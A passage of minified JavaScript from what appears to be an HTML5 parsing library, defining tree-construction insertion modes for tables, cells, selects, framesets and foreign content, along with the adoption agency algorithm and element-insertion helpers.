r=!e.openElements.inTableScope(\"caption\");e.insertionMode.processEndTag(\"caption\"),r||e.insertionMode.processStartTag(t,n)},t.inCaption.startTagOther=function(e,n,r){t.inBody.processStartTag(e,n,r)},t.inCaption.endTagCaption=function(t){e.openElements.inTableScope(\"caption\")?(e.generateImpliedEndTags(),e.currentStackItem().localName!=\"caption\"&&e.parseError(\"expected-one-end-tag-but-got-another\",{gotName:\"caption\",expectedName:e.currentStackItem().localName}),e.openElements.popUntilPopped(\"caption\"),e.clearActiveFormattingElements(),e.setInsertionMode(\"inTable\")):(r.ok(e.context),e.parseError(\"unexpected-end-tag\",{name:t}))},t.inCaption.endTagTable=function(t){e.parseError(\"unexpected-end-table-in-caption\");var n=!e.openElements.inTableScope(\"caption\");e.insertionMode.processEndTag(\"caption\"),n||e.insertionMode.processEndTag(t)},t.inCaption.endTagIgnore=function(t){e.parseError(\"unexpected-end-tag\",{name:t})},t.inCaption.endTagOther=function(e){t.inBody.processEndTag(e)},t.inCell=Object.create(t.base),t.inCell.start_tag_handlers={html:\"startTagHtml\",caption:\"startTagTableOther\",col:\"startTagTableOther\",colgroup:\"startTagTableOther\",tbody:\"startTagTableOther\",td:\"startTagTableOther\",tfoot:\"startTagTableOther\",th:\"startTagTableOther\",thead:\"startTagTableOther\",tr:\"startTagTableOther\",\"-default\":\"startTagOther\"},t.inCell.end_tag_handlers={td:\"endTagTableCell\",th:\"endTagTableCell\",body:\"endTagIgnore\",caption:\"endTagIgnore\",col:\"endTagIgnore\",colgroup:\"endTagIgnore\",html:\"endTagIgnore\",table:\"endTagImply\",tbody:\"endTagImply\",tfoot:\"endTagImply\",thead:\"endTagImply\",tr:\"endTagImply\",\"-default\":\"endTagOther\"},t.inCell.processCharacters=function(e){t.inBody.processCharacters(e)},t.inCell.startTagTableOther=function(t,n,r){e.openElements.inTableScope(\"td\")||e.openElements.inTableScope(\"th\")?(this.closeCell(),e.insertionMode.processStartTag(t,n,r)):e.parseError(\"unexpected-start-tag\",{name:t})},t.inCell.startTagOther=function(e,n,r){t.inBody.processStartTag(e,n,r)},t.inCell.endTagTableCell=function(t){e.openElements.inTableScope(t)?(e.generateImpliedEndTags(t),e.currentStackItem().localName!=t.toLowerCase()?(e.parseError(\"unexpected-cell-end-tag\",{name:t}),e.openElements.popUntilPopped(t)):e.popElement(),e.clearActiveFormattingElements(),e.setInsertionMode(\"inRow\")):e.parseError(\"unexpected-end-tag\",{name:t})},t.inCell.endTagIgnore=function(t){e.parseError(\"unexpected-end-tag\",{name:t})},t.inCell.endTagImply=function(t){e.openElements.inTableScope(t)?(this.closeCell(),e.insertionMode.processEndTag(t)):e.parseError(\"unexpected-end-tag\",{name:t})},t.inCell.endTagOther=function(e){t.inBody.processEndTag(e)},t.inCell.closeCell=function(){e.openElements.inTableScope(\"td\")?this.endTagTableCell(\"td\"):e.openElements.inTableScope(\"th\")&&this.endTagTableCell(\"th\")},t.inColumnGroup=Object.create(t.base),t.inColumnGroup.start_tag_handlers={html:\"startTagHtml\",col:\"startTagCol\",\"-default\":\"startTagOther\"},t.inColumnGroup.end_tag_handlers={colgroup:\"endTagColgroup\",col:\"endTagCol\",\"-default\":\"endTagOther\"},t.inColumnGroup.ignoreEndTagColgroup=function(){return e.currentStackItem().localName==\"html\"},t.inColumnGroup.processCharacters=function(t){var n=t.takeLeadingWhitespace();n&&e.insertText(n);if(!t.length)return;var r=this.ignoreEndTagColgroup();this.endTagColgroup(\"colgroup\"),r||e.insertionMode.processCharacters(t)},t.inColumnGroup.startTagCol=function(t,n){e.insertSelfClosingElement(t,n)},t.inColumnGroup.startTagOther=function(t,n,r){var i=this.ignoreEndTagColgroup();this.endTagColgroup(\"colgroup\"),i||e.insertionMode.processStartTag(t,n,r)},t.inColumnGroup.endTagColgroup=function(t){this.ignoreEndTagColgroup()?(r.ok(e.context),e.parseError(\"unexpected-end-tag\",{name:t})):(e.popElement(),e.setInsertionMode(\"inTable\"))},t.inColumnGroup.endTagCol=function(t){e.parseError(\"no-end-tag\",{name:\"col\"})},t.inColumnGroup.endTagOther=function(t){var n=this.ignoreEndTagColgroup();this.endTagColgroup(\"colgroup\"),n||e.insertionMode.processEndTag(t)},t.inForeignContent=Object.create(t.base),t.inForeignContent.processStartTag=function(t,n,r){if([\"b\",\"big\",\"blockquote\",\"body\",\"br\",\"center\",\"code\",\"dd\",\"div\",\"dl\",\"dt\",\"em\",\"embed\",\"h1\",\"h2\",\"h3\",\"h4\",\"h5\",\"h6\",\"head\",\"hr\",\"i\",\"img\",\"li\",\"listing\",\"menu\",\"meta\",\"nobr\",\"ol\",\"p\",\"pre\",\"ruby\",\"s\",\"small\",\"span\",\"strong\",\"strike\",\"sub\",\"sup\",\"table\",\"tt\",\"u\",\"ul\",\"var\"].indexOf(t)!=-1||t==\"font\"&&n.some(function(e){return[\"color\",\"face\",\"size\"].indexOf(e.nodeName)>=0})){e.parseError(\"unexpected-html-element-in-foreign-content\",{name:t});while(e.currentStackItem().isForeign()&&!e.currentStackItem().isHtmlIntegrationPoint()&&!e.currentStackItem().isMathMLTextIntegrationPoint())e.openElements.pop();e.insertionMode.processStartTag(t,n,r);return}e.currentStackItem().namespaceURI==\"http://www.w3.org/1998/Math/MathML\"&&(n=e.adjustMathMLAttributes(n)),e.currentStackItem().namespaceURI==\"http://www.w3.org/2000/svg\"&&(t=e.adjustSVGTagNameCase(t),n=e.adjustSVGAttributes(n)),n=e.adjustForeignAttributes(n),e.insertForeignElement(t,n,e.currentStackItem().namespaceURI,r)},t.inForeignContent.processEndTag=function(t){var n=e.currentStackItem(),r=e.openElements.length-1;n.localName.toLowerCase()!=t&&e.parseError(\"unexpected-end-tag\",{name:t});for(;;){if(r===0)break;if(n.localName.toLowerCase()==t){while(e.openElements.pop()!=n);break}r-=1,n=e.openElements.item(r);if(n.isForeign())continue;e.insertionMode.processEndTag(t);break}},t.inForeignContent.processCharacters=function(t){var n=t.takeRemaining();n=n.replace(/\\u0000/g,function(t,n){return e.parseError(\"invalid-codepoint\"),\"\\ufffd\"}),e.framesetOk&&!d(n)&&(e.framesetOk=!1),e.insertText(n)},t.inHeadNoscript=Object.create(t.base),t.inHeadNoscript.start_tag_handlers={html:\"startTagHtml\",basefont:\"startTagBasefontBgsoundLinkMetaNoframesStyle\",bgsound:\"startTagBasefontBgsoundLinkMetaNoframesStyle\",link:\"startTagBasefontBgsoundLinkMetaNoframesStyle\",meta:\"startTagBasefontBgsoundLinkMetaNoframesStyle\",noframes:\"startTagBasefontBgsoundLinkMetaNoframesStyle\",style:\"startTagBasefontBgsoundLinkMetaNoframesStyle\",head:\"startTagHeadNoscript\",noscript:\"startTagHeadNoscript\",\"-default\":\"startTagOther\"},t.inHeadNoscript.end_tag_handlers={noscript:\"endTagNoscript\",br:\"endTagBr\",\"-default\":\"endTagOther\"},t.inHeadNoscript.processCharacters=function(t){var n=t.takeLeadingWhitespace();n&&e.insertText(n);if(!t.length)return;e.parseError(\"unexpected-char-in-frameset\"),this.anythingElse(),e.insertionMode.processCharacters(t)},t.inHeadNoscript.processComment=function(e){t.inHead.processComment(e)},t.inHeadNoscript.startTagBasefontBgsoundLinkMetaNoframesStyle=function(e,n){t.inHead.processStartTag(e,n)},t.inHeadNoscript.startTagHeadNoscript=function(t,n){e.parseError(\"unexpected-start-tag-in-frameset\",{name:t})},t.inHeadNoscript.startTagOther=function(t,n){e.parseError(\"unexpected-start-tag-in-frameset\",{name:t}),this.anythingElse(),e.insertionMode.processStartTag(t,n)},t.inHeadNoscript.endTagBr=function(t,n){e.parseError(\"unexpected-end-tag-in-frameset\",{name:t}),this.anythingElse(),e.insertionMode.processEndTag(t,n)},t.inHeadNoscript.endTagNoscript=function(t,n){e.popElement(),e.setInsertionMode(\"inHead\")},t.inHeadNoscript.endTagOther=function(t,n){e.parseError(\"unexpected-end-tag-in-frameset\",{name:t})},t.inHeadNoscript.anythingElse=function(){e.popElement(),e.setInsertionMode(\"inHead\")},t.inFrameset=Object.create(t.base),t.inFrameset.start_tag_handlers={html:\"startTagHtml\",frameset:\"startTagFrameset\",frame:\"startTagFrame\",noframes:\"startTagNoframes\",\"-default\":\"startTagOther\"},t.inFrameset.end_tag_handlers={frameset:\"endTagFrameset\",noframes:\"endTagNoframes\",\"-default\":\"endTagOther\"},t.inFrameset.processCharacters=function(t){e.parseError(\"unexpected-char-in-frameset\")},t.inFrameset.startTagFrameset=function(t,n){e.insertElement(t,n)},t.inFrameset.startTagFrame=function(t,n){e.insertSelfClosingElement(t,n)},t.inFrameset.startTagNoframes=function(e,n){t.inBody.processStartTag(e,n)},t.inFrameset.startTagOther=function(t,n){e.parseError(\"unexpected-start-tag-in-frameset\",{name:t})},t.inFrameset.endTagFrameset=function(t,n){e.currentStackItem().localName==\"html\"?e.parseError(\"unexpected-frameset-in-frameset-innerhtml\"):e.popElement(),!e.context&&e.currentStackItem().localName!=\"frameset\"&&e.setInsertionMode(\"afterFrameset\")},t.inFrameset.endTagNoframes=function(e){t.inBody.processEndTag(e)},t.inFrameset.endTagOther=function(t){e.parseError(\"unexpected-end-tag-in-frameset\",{name:t})},t.inTable=Object.create(t.base),t.inTable.start_tag_handlers={html:\"startTagHtml\",caption:\"startTagCaption\",colgroup:\"startTagColgroup\",col:\"startTagCol\",table:\"startTagTable\",tbody:\"startTagRowGroup\",tfoot:\"startTagRowGroup\",thead:\"startTagRowGroup\",td:\"startTagImplyTbody\",th:\"startTagImplyTbody\",tr:\"startTagImplyTbody\",style:\"startTagStyleScript\",script:\"startTagStyleScript\",input:\"startTagInput\",form:\"startTagForm\",\"-default\":\"startTagOther\"},t.inTable.end_tag_handlers={table:\"endTagTable\",body:\"endTagIgnore\",caption:\"endTagIgnore\",col:\"endTagIgnore\",colgroup:\"endTagIgnore\",html:\"endTagIgnore\",tbody:\"endTagIgnore\",td:\"endTagIgnore\",tfoot:\"endTagIgnore\",th:\"endTagIgnore\",thead:\"endTagIgnore\",tr:\"endTagIgnore\",\"-default\":\"endTagOther\"},t.inTable.processCharacters=function(n){if(e.currentStackItem().isFosterParenting()){var r=e.insertionModeName;e.setInsertionMode(\"inTableText\"),e.originalInsertionMode=r,e.insertionMode.processCharacters(n)}else e.redirectAttachToFosterParent=!0,t.inBody.processCharacters(n),e.redirectAttachToFosterParent=!1},t.inTable.startTagCaption=function(t,n){e.openElements.popUntilTableScopeMarker(),e.activeFormattingElements.push(l),e.insertElement(t,n),e.setInsertionMode(\"inCaption\")},t.inTable.startTagColgroup=function(t,n){e.openElements.popUntilTableScopeMarker(),e.insertElement(t,n),e.setInsertionMode(\"inColumnGroup\")},t.inTable.startTagCol=function(t,n){this.startTagColgroup(\"colgroup\",[]),e.insertionMode.processStartTag(t,n)},t.inTable.startTagRowGroup=function(t,n){e.openElements.popUntilTableScopeMarker(),e.insertElement(t,n),e.setInsertionMode(\"inTableBody\")},t.inTable.startTagImplyTbody=function(t,n){this.startTagRowGroup(\"tbody\",[]),e.insertionMode.processStartTag(t,n)},t.inTable.startTagTable=function(t,n){e.parseError(\"unexpected-start-tag-implies-end-tag\",{startName:\"table\",endName:\"table\"}),e.insertionMode.processEndTag(\"table\"),e.context||e.insertionMode.processStartTag(t,n)},t.inTable.startTagStyleScript=function(e,n){t.inHead.processStartTag(e,n)},t.inTable.startTagInput=function(t,n){for(var r in n)if(n[r].nodeName.toLowerCase()==\"type\"){if(n[r].nodeValue.toLowerCase()==\"hidden\"){e.parseError(\"unexpected-hidden-input-in-table\"),e.insertElement(t,n),e.openElements.pop();return}break}this.startTagOther(t,n)},t.inTable.startTagForm=function(t,n){e.parseError(\"unexpected-form-in-table\"),e.form||(e.insertElement(t,n),e.form=e.currentStackItem(),e.openElements.pop())},t.inTable.startTagOther=function(n,r,i){e.parseError(\"unexpected-start-tag-implies-table-voodoo\",{name:n}),e.redirectAttachToFosterParent=!0,t.inBody.processStartTag(n,r,i),e.redirectAttachToFosterParent=!1},t.inTable.endTagTable=function(t){e.openElements.inTableScope(t)?(e.generateImpliedEndTags(),e.currentStackItem().localName!=t&&e.parseError(\"end-tag-too-early-named\",{gotName:\"table\",expectedName:e.currentStackItem().localName}),e.openElements.popUntilPopped(\"table\"),e.resetInsertionMode()):(r.ok(e.context),e.parseError(\"unexpected-end-tag\",{name:t}))},t.inTable.endTagIgnore=function(t){e.parseError(\"unexpected-end-tag\",{name:t})},t.inTable.endTagOther=function(n){e.parseError(\"unexpected-end-tag-implies-table-voodoo\",{name:n}),e.redirectAttachToFosterParent=!0,t.inBody.processEndTag(n),e.redirectAttachToFosterParent=!1},t.inTableText=Object.create(t.base),t.inTableText.flushCharacters=function(){var t=e.pendingTableCharacters.join(\"\");p(t)?e.insertText(t):(e.redirectAttachToFosterParent=!0,e.reconstructActiveFormattingElements(),e.insertText(t),e.framesetOk=!1,e.redirectAttachToFosterParent=!1),e.pendingTableCharacters=[]},t.inTableText.processComment=function(t){this.flushCharacters(),e.setInsertionMode(e.originalInsertionMode),e.insertionMode.processComment(t)},t.inTableText.processEOF=function(t){this.flushCharacters(),e.setInsertionMode(e.originalInsertionMode),e.insertionMode.processEOF()},t.inTableText.processCharacters=function(t){var n=t.takeRemaining();n=n.replace(/\\u0000/g,function(t,n){return e.parseError(\"invalid-codepoint\"),\"\"});if(!n)return;e.pendingTableCharacters.push(n)},t.inTableText.processStartTag=function(t,n,r){this.flushCharacters(),e.setInsertionMode(e.originalInsertionMode),e.insertionMode.processStartTag(t,n,r)},t.inTableText.processEndTag=function(t,n){this.flushCharacters(),e.setInsertionMode(e.originalInsertionMode),e.insertionMode.processEndTag(t,n)},t.inTableBody=Object.create(t.base),t.inTableBody.start_tag_handlers={html:\"startTagHtml\",tr:\"startTagTr\",td:\"startTagTableCell\",th:\"startTagTableCell\",caption:\"startTagTableOther\",col:\"startTagTableOther\",colgroup:\"startTagTableOther\",tbody:\"startTagTableOther\",tfoot:\"startTagTableOther\",thead:\"startTagTableOther\",\"-default\":\"startTagOther\"},t.inTableBody.end_tag_handlers={table:\"endTagTable\",tbody:\"endTagTableRowGroup\",tfoot:\"endTagTableRowGroup\",thead:\"endTagTableRowGroup\",body:\"endTagIgnore\",caption:\"endTagIgnore\",col:\"endTagIgnore\",colgroup:\"endTagIgnore\",html:\"endTagIgnore\",td:\"endTagIgnore\",th:\"endTagIgnore\",tr:\"endTagIgnore\",\"-default\":\"endTagOther\"},t.inTableBody.processCharacters=function(e){t.inTable.processCharacters(e)},t.inTableBody.startTagTr=function(t,n){e.openElements.popUntilTableBodyScopeMarker(),e.insertElement(t,n),e.setInsertionMode(\"inRow\")},t.inTableBody.startTagTableCell=function(t,n){e.parseError(\"unexpected-cell-in-table-body\",{name:t}),this.startTagTr(\"tr\",[]),e.insertionMode.processStartTag(t,n)},t.inTableBody.startTagTableOther=function(t,n){e.openElements.inTableScope(\"tbody\")||e.openElements.inTableScope(\"thead\")||e.openElements.inTableScope(\"tfoot\")?(e.openElements.popUntilTableBodyScopeMarker(),this.endTagTableRowGroup(e.currentStackItem().localName),e.insertionMode.processStartTag(t,n)):e.parseError(\"unexpected-start-tag\",{name:t})},t.inTableBody.startTagOther=function(e,n){t.inTable.processStartTag(e,n)},t.inTableBody.endTagTableRowGroup=function(t){e.openElements.inTableScope(t)?(e.openElements.popUntilTableBodyScopeMarker(),e.popElement(),e.setInsertionMode(\"inTable\")):e.parseError(\"unexpected-end-tag-in-table-body\",{name:t})},t.inTableBody.endTagTable=function(t){e.openElements.inTableScope(\"tbody\")||e.openElements.inTableScope(\"thead\")||e.openElements.inTableScope(\"tfoot\")?(e.openElements.popUntilTableBodyScopeMarker(),this.endTagTableRowGroup(e.currentStackItem().localName),e.insertionMode.processEndTag(t)):e.parseError(\"unexpected-end-tag\",{name:t})},t.inTableBody.endTagIgnore=function(t){e.parseError(\"unexpected-end-tag-in-table-body\",{name:t})},t.inTableBody.endTagOther=function(e){t.inTable.processEndTag(e)},t.inSelect=Object.create(t.base),t.inSelect.start_tag_handlers={html:\"startTagHtml\",option:\"startTagOption\",optgroup:\"startTagOptgroup\",select:\"startTagSelect\",input:\"startTagInput\",keygen:\"startTagInput\",textarea:\"startTagInput\",script:\"startTagScript\",\"-default\":\"startTagOther\"},t.inSelect.end_tag_handlers={option:\"endTagOption\",optgroup:\"endTagOptgroup\",select:\"endTagSelect\",caption:\"endTagTableElements\",table:\"endTagTableElements\",tbody:\"endTagTableElements\",tfoot:\"endTagTableElements\",thead:\"endTagTableElements\",tr:\"endTagTableElements\",td:\"endTagTableElements\",th:\"endTagTableElements\",\"-default\":\"endTagOther\"},t.inSelect.processCharacters=function(t){var n=t.takeRemaining();n=n.replace(/\\u0000/g,function(t,n){return e.parseError(\"invalid-codepoint\"),\"\"});if(!n)return;e.insertText(n)},t.inSelect.startTagOption=function(t,n){e.currentStackItem().localName==\"option\"&&e.popElement(),e.insertElement(t,n)},t.inSelect.startTagOptgroup=function(t,n){e.currentStackItem().localName==\"option\"&&e.popElement(),e.currentStackItem().localName==\"optgroup\"&&e.popElement(),e.insertElement(t,n)},t.inSelect.endTagOption=function(t){if(e.currentStackItem().localName!==\"option\"){e.parseError(\"unexpected-end-tag-in-select\",{name:t});return}e.popElement()},t.inSelect.endTagOptgroup=function(t){e.currentStackItem().localName==\"option\"&&e.openElements.item(e.openElements.length-2).localName==\"optgroup\"&&e.popElement(),e.currentStackItem().localName==\"optgroup\"?e.popElement():e.parseError(\"unexpected-end-tag-in-select\",{name:\"optgroup\"})},t.inSelect.startTagSelect=function(t){e.parseError(\"unexpected-select-in-select\"),this.endTagSelect(\"select\")},t.inSelect.endTagSelect=function(t){e.openElements.inTableScope(\"select\")?(e.openElements.popUntilPopped(\"select\"),e.resetInsertionMode()):e.parseError(\"unexpected-end-tag\",{name:t})},t.inSelect.startTagInput=function(t,n){e.parseError(\"unexpected-input-in-select\"),e.openElements.inSelectScope(\"select\")&&(this.endTagSelect(\"select\"),e.insertionMode.processStartTag(t,n))},t.inSelect.startTagScript=function(e,n){t.inHead.processStartTag(e,n)},t.inSelect.endTagTableElements=function(t){e.parseError(\"unexpected-end-tag-in-select\",{name:t}),e.openElements.inTableScope(t)&&(this.endTagSelect(\"select\"),e.insertionMode.processEndTag(t))},t.inSelect.startTagOther=function(t,n){e.parseError(\"unexpected-start-tag-in-select\",{name:t})},t.inSelect.endTagOther=function(t){e.parseError(\"unexpected-end-tag-in-select\",{name:t})},t.inSelectInTable=Object.create(t.base),t.inSelectInTable.start_tag_handlers={caption:\"startTagTable\",table:\"startTagTable\",tbody:\"startTagTable\",tfoot:\"startTagTable\",thead:\"startTagTable\",tr:\"startTagTable\",td:\"startTagTable\",th:\"startTagTable\",\"-default\":\"startTagOther\"},t.inSelectInTable.end_tag_handlers={caption:\"endTagTable\",table:\"endTagTable\",tbody:\"endTagTable\",tfoot:\"endTagTable\",thead:\"endTagTable\",tr:\"endTagTable\",td:\"endTagTable\",th:\"endTagTable\",\"-default\":\"endTagOther\"},t.inSelectInTable.processCharacters=function(e){t.inSelect.processCharacters(e)},t.inSelectInTable.startTagTable=function(t,n){e.parseError(\"unexpected-table-element-start-tag-in-select-in-table\",{name:t}),this.endTagOther(\"select\"),e.insertionMode.processStartTag(t,n)},t.inSelectInTable.startTagOther=function(e,n,r){t.inSelect.processStartTag(e,n,r)},t.inSelectInTable.endTagTable=function(t){e.parseError(\"unexpected-table-element-end-tag-in-select-in-table\",{name:t}),e.openElements.inTableScope(t)&&(this.endTagOther(\"select\"),e.insertionMode.processEndTag(t))},t.inSelectInTable.endTagOther=function(e){t.inSelect.processEndTag(e)},t.inRow=Object.create(t.base),t.inRow.start_tag_handlers={html:\"startTagHtml\",td:\"startTagTableCell\",th:\"startTagTableCell\",caption:\"startTagTableOther\",col:\"startTagTableOther\",colgroup:\"startTagTableOther\",tbody:\"startTagTableOther\",tfoot:\"startTagTableOther\",thead:\"startTagTableOther\",tr:\"startTagTableOther\",\"-default\":\"startTagOther\"},t.inRow.end_tag_handlers={tr:\"endTagTr\",table:\"endTagTable\",tbody:\"endTagTableRowGroup\",tfoot:\"endTagTableRowGroup\",thead:\"endTagTableRowGroup\",body:\"endTagIgnore\",caption:\"endTagIgnore\",col:\"endTagIgnore\",colgroup:\"endTagIgnore\",html:\"endTagIgnore\",td:\"endTagIgnore\",th:\"endTagIgnore\",\"-default\":\"endTagOther\"},t.inRow.processCharacters=function(e){t.inTable.processCharacters(e)},t.inRow.startTagTableCell=function(t,n){e.openElements.popUntilTableRowScopeMarker(),e.insertElement(t,n),e.setInsertionMode(\"inCell\"),e.activeFormattingElements.push(l)},t.inRow.startTagTableOther=function(t,n){var r=this.ignoreEndTagTr();this.endTagTr(\"tr\"),r||e.insertionMode.processStartTag(t,n)},t.inRow.startTagOther=function(e,n,r){t.inTable.processStartTag(e,n,r)},t.inRow.endTagTr=function(t){this.ignoreEndTagTr()?(r.ok(e.context),e.parseError(\"unexpected-end-tag\",{name:t})):(e.openElements.popUntilTableRowScopeMarker(),e.popElement(),e.setInsertionMode(\"inTableBody\"))},t.inRow.endTagTable=function(t){var n=this.ignoreEndTagTr();this.endTagTr(\"tr\"),n||e.insertionMode.processEndTag(t)},t.inRow.endTagTableRowGroup=function(t){e.openElements.inTableScope(t)?(this.endTagTr(\"tr\"),e.insertionMode.processEndTag(t)):e.parseError(\"unexpected-end-tag\",{name:t})},t.inRow.endTagIgnore=function(t){e.parseError(\"unexpected-end-tag-in-table-row\",{name:t})},t.inRow.endTagOther=function(e){t.inTable.processEndTag(e)},t.inRow.ignoreEndTagTr=function(){return!e.openElements.inTableScope(\"tr\")},t.afterAfterFrameset=Object.create(t.base),t.afterAfterFrameset.start_tag_handlers={html:\"startTagHtml\",noframes:\"startTagNoFrames\",\"-default\":\"startTagOther\"},t.afterAfterFrameset.processEOF=function(){},t.afterAfterFrameset.processComment=function(t){e.insertComment(t,e.document)},t.afterAfterFrameset.processCharacters=function(t){var n=t.takeRemaining(),r=\"\";for(var i=0;i<n.length;i++){var s=n[i];c(s)&&(r+=s)}r&&(e.reconstructActiveFormattingElements(),e.insertText(r)),r.length<n.length&&e.parseError(\"expected-eof-but-got-char\")},t.afterAfterFrameset.startTagNoFrames=function(e,n){t.inHead.processStartTag(e,n)},t.afterAfterFrameset.startTagOther=function(t,n,r){e.parseError(\"expected-eof-but-got-start-tag\",{name:t})},t.afterAfterFrameset.processEndTag=function(t,n){e.parseError(\"expected-eof-but-got-end-tag\",{name:t})},t.text=Object.create(t.base),t.text.start_tag_handlers={\"-default\":\"startTagOther\"},t.text.end_tag_handlers={script:\"endTagScript\",\"-default\":\"endTagOther\"},t.text.processCharacters=function(t){e.shouldSkipLeadingNewline&&(e.shouldSkipLeadingNewline=!1,t.skipAtMostOneLeadingNewline());var n=t.takeRemaining();if(!n)return;e.insertText(n)},t.text.processEOF=function(){e.parseError(\"expected-named-closing-tag-but-got-eof\",{name:e.currentStackItem().localName}),e.openElements.pop(),e.setInsertionMode(e.originalInsertionMode),e.insertionMode.processEOF()},t.text.startTagOther=function(e){throw\"Tried to process start tag \"+e+\" in RCDATA/RAWTEXT mode\"},t.text.endTagScript=function(t){var n=e.openElements.pop();r.ok(n.localName==\"script\"),e.setInsertionMode(e.originalInsertionMode)},t.text.endTagOther=function(t){e.openElements.pop(),e.setInsertionMode(e.originalInsertionMode)}}function y(e,t){return e.replace(new RegExp(\"{[0-9a-z-]+}\",\"gi\"),function(e){return t[e.slice(1,-1)]||e})}var r=e(\"assert\"),i=e(\"./messages.json\"),s=e(\"./constants\"),o=e(\"events\").EventEmitter,u=e(\"./Tokenizer\").Tokenizer,a=e(\"./ElementStack\").ElementStack,f=e(\"./StackItem\").StackItem,l={};m.prototype.skipAtMostOneLeadingNewline=function(){this.characters[this.current]===\"\\n\"&&this.current++},m.prototype.skipLeadingWhitespace=function(){while(c(this.characters[this.current]))if(++this.current==this.end)return},m.prototype.skipLeadingNonWhitespace=function(){while(!c(this.characters[this.current]))if(++this.current==this.end)return},m.prototype.takeRemaining=function(){return this.characters.substring(this.current)},m.prototype.takeLeadingWhitespace=function(){var e=this.current;return this.skipLeadingWhitespace(),e===this.current?\"\":this.characters.substring(e,this.current-e)},Object.defineProperty(m.prototype,\"length\",{get:function(){return this.end-this.current}}),g.prototype.setInsertionMode=function(e){this.insertionMode=this.insertionModes[e],this.insertionModeName=e},g.prototype.adoptionAgencyEndTag=function(e){function i(e){return e===r}var t=8,n=3,r,s=0;while(s++<t){r=this.elementInActiveFormattingElements(e);if(!r||this.openElements.contains(r)&&!this.openElements.inScope(r.localName))return this.parseError(\"adoption-agency-1.1\",{name:e}),!1;if(!this.openElements.contains(r))return this.parseError(\"adoption-agency-1.2\",{name:e}),this.removeElementFromActiveFormattingElements(r),!0;this.openElements.inScope(r.localName)||this.parseError(\"adoption-agency-4.4\",{name:e}),r!=this.currentStackItem()&&this.parseError(\"adoption-agency-1.3\",{name:e});var o=this.openElements.furthestBlockForFormattingElement(r.node);if(!o)return this.openElements.remove_openElements_until(i),this.removeElementFromActiveFormattingElements(r),!0;var u=this.openElements.elements.indexOf(r),a=this.openElements.item(u-1),l=this.activeFormattingElements.indexOf(r),c=o,h=o,p=this.openElements.elements.indexOf(c),d=0;while(d++<n){p-=1,c=this.openElements.item(p);if(this.activeFormattingElements.indexOf(c)<0){this.openElements.elements.splice(p,1);continue}if(c==r)break;h==o&&(l=this.activeFormattingElements.indexOf(c)+1);var v=this.createElement(c.namespaceURI,c.localName,c.attributes),m=new f(c.namespaceURI,c.localName,c.attributes,v);this.activeFormattingElements[this.activeFormattingElements.indexOf(c)]=m,this.openElements.elements[this.openElements.elements.indexOf(c)]=m,c=m,this.detachFromParent(h.node),this.attachNode(h.node,c.node),h=c}this.detachFromParent(h.node),a.isFosterParenting()?this.insertIntoFosterParent(h.node):this.attachNode(h.node,a.node);var v=this.createElement(\"http://www.w3.org/1999/xhtml\",r.localName,r.attributes),g=new f(r.namespaceURI,r.localName,r.attributes,v);this.reparentChildren(o.node,v),this.attachNode(v,o.node),this.removeElementFromActiveFormattingElements(r),this.activeFormattingElements.splice(Math.min(l,this.activeFormattingElements.length),0,g),this.openElements.remove(r),this.openElements.elements.splice(this.openElements.elements.indexOf(o)+1,0,g)}return!0},g.prototype.start=function(){throw\"Not mplemented\"},g.prototype.startTokenization=function(e){this.tokenizer=e,this.compatMode=\"no quirks\",this.originalInsertionMode=\"initial\",this.framesetOk=!0,this.openElements=new a,this.activeFormattingElements=[],this.start();if(this.context){switch(this.context){case\"title\":case\"textarea\":this.tokenizer.setState(u.RCDATA);break;case\"style\":case\"xmp\":case\"iframe\":case\"noembed\":case\"noframes\":this.tokenizer.setState(u.RAWTEXT);break;case\"script\":this.tokenizer.setState(u.SCRIPT_DATA);break;case\"noscript\":this.scriptingEnabled&&this.tokenizer.setState(u.RAWTEXT);break;case\"plaintext\":this.tokenizer.setState(u.PLAINTEXT)}this.insertHtmlElement(),this.resetInsertionMode()}else this.setInsertionMode(\"initial\")},g.prototype.processToken=function(e){this.selfClosingFlagAcknowledged=!1;var t=this.openElements.top||null,n;!t||!t.isForeign()||t.isMathMLTextIntegrationPoint()&&(e.type==\"StartTag\"&&!(e.name in{mglyph:0,malignmark:0})||e.type===\"Characters\")||t.namespaceURI==\"http://www.w3.org/1998/Math/MathML\"&&t.localName==\"annotation-xml\"&&e.type==\"StartTag\"&&e.name==\"svg\"||t.isHtmlIntegrationPoint()&&e.type in{StartTag:0,Characters:0}||e.type==\"EOF\"?n=this.insertionMode:n=this.insertionModes.inForeignContent;switch(e.type){case\"Characters\":var r=new m(e.data);n.processCharacters(r);break;case\"Comment\":n.processComment(e.data);break;case\"StartTag\":n.processStartTag(e.name,e.data,e.selfClosing);break;case\"EndTag\":n.processEndTag(e.name);break;case\"Doctype\":n.processDoctype(e.name,e.publicId,e.systemId,e.forceQuirks);break;case\"EOF\":n.processEOF()}},g.prototype.isCdataSectionAllowed=function(){return this.openElements.length>0&&this.currentStackItem().isForeign()},g.prototype.isSelfClosingFlagAcknowledged=function(){return this.selfClosingFlagAcknowledged},g.prototype.createElement=function(e,t,n){throw new Error(\"Not implemented\")},g.prototype.attachNode=function(e,t){throw new Error(\"Not implemented\")},g.prototype.attachNodeToFosterParent=function(e,t,n){throw new Error(\"Not implemented\")},g.prototype.detachFromParent=function(e){throw new Error(\"Not implemented\")},g.prototype.addAttributesToElement=function(e,t){throw new Error(\"Not implemented\")},g.prototype.insertHtmlElement=function(e){var t=this.createElement(\"http://www.w3.org/1999/xhtml\",\"html\",e);return this.attachNode(t,this.document),this.openElements.pushHtmlElement(new f(\"http://www.w3.org/1999/xhtml\",\"html\",e,t)),t},g.prototype.insertHeadElement=function(e){var t=this.createElement(\"http://www.w3.org/1999/xhtml\",\"head\",e);return this.head=new f(\"http://www.w3.org/1999/xhtml\",\"head\",e,t),this.attachNode(t,this.openElements.top.node),this.openElements.pushHeadElement(this.head),t},g.prototype.insertBodyElement=function(e){var t=this.createElement(\"http://www.w3.org/1999/xhtml\",\"body\",e);return this.attachNode(t,this.openElements.top.node),this.openElements.pushBodyElement(new f(\"http://www.w3.org/1999/xhtml\",\"body\",e,t)),t},g.prototype.insertIntoFosterParent=function(e){var t=this.openElements.findIndex(\"table\"),n=this.openElements.item(t).node;if(t===0)return this.attachNode(e,n);this.attachNodeToFosterParent(e,n,this.openElements.item(t-1).node)},g.prototype.insertElement=function(e,t,n,r){n||(n=\"http://www.w3.org/1999/xhtml\");var i=this.createElement(n,e,t);this.shouldFosterParent()?this.insertIntoFosterParent(i):this.attachNode(i,this.openElements.top.node),r||this.openElements.push(new 